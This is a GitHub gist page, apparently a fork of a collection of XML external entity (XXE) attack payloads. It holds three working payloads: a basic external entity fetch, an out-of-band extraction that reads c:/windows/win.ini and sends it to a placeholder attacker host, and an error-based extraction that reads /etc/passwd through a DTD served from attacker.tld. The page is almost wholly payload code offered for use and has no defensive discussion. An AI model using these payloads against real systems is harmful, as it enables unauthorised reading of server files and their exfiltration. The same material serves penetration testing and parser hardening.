Skip to content

Instantly share code, notes, and snippets.

@b00ls0ck3t

b00ls0ck3t/XXE_payloads

Forked from staaldraad/XXE_payloads
Created August 12, 2020 08:18
Show Gist options
  • Save b00ls0ck3t/93e6772d15b088c10e062e82642b646c to your computer and use it in GitHub Desktop.
Save b00ls0ck3t/93e6772d15b088c10e062e82642b646c to your computer and use it in GitHub Desktop.
Download ZIP
XXE Payloads
Raw
XXE_payloads
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
---------------------------------------------------------------
OoB extraction
---------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp
%param1
]>
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
------------------------------------------------------------------
File-not-found exception based extraction
------------------------------------------------------------------
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
%one;
%two;
%four;
]>
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment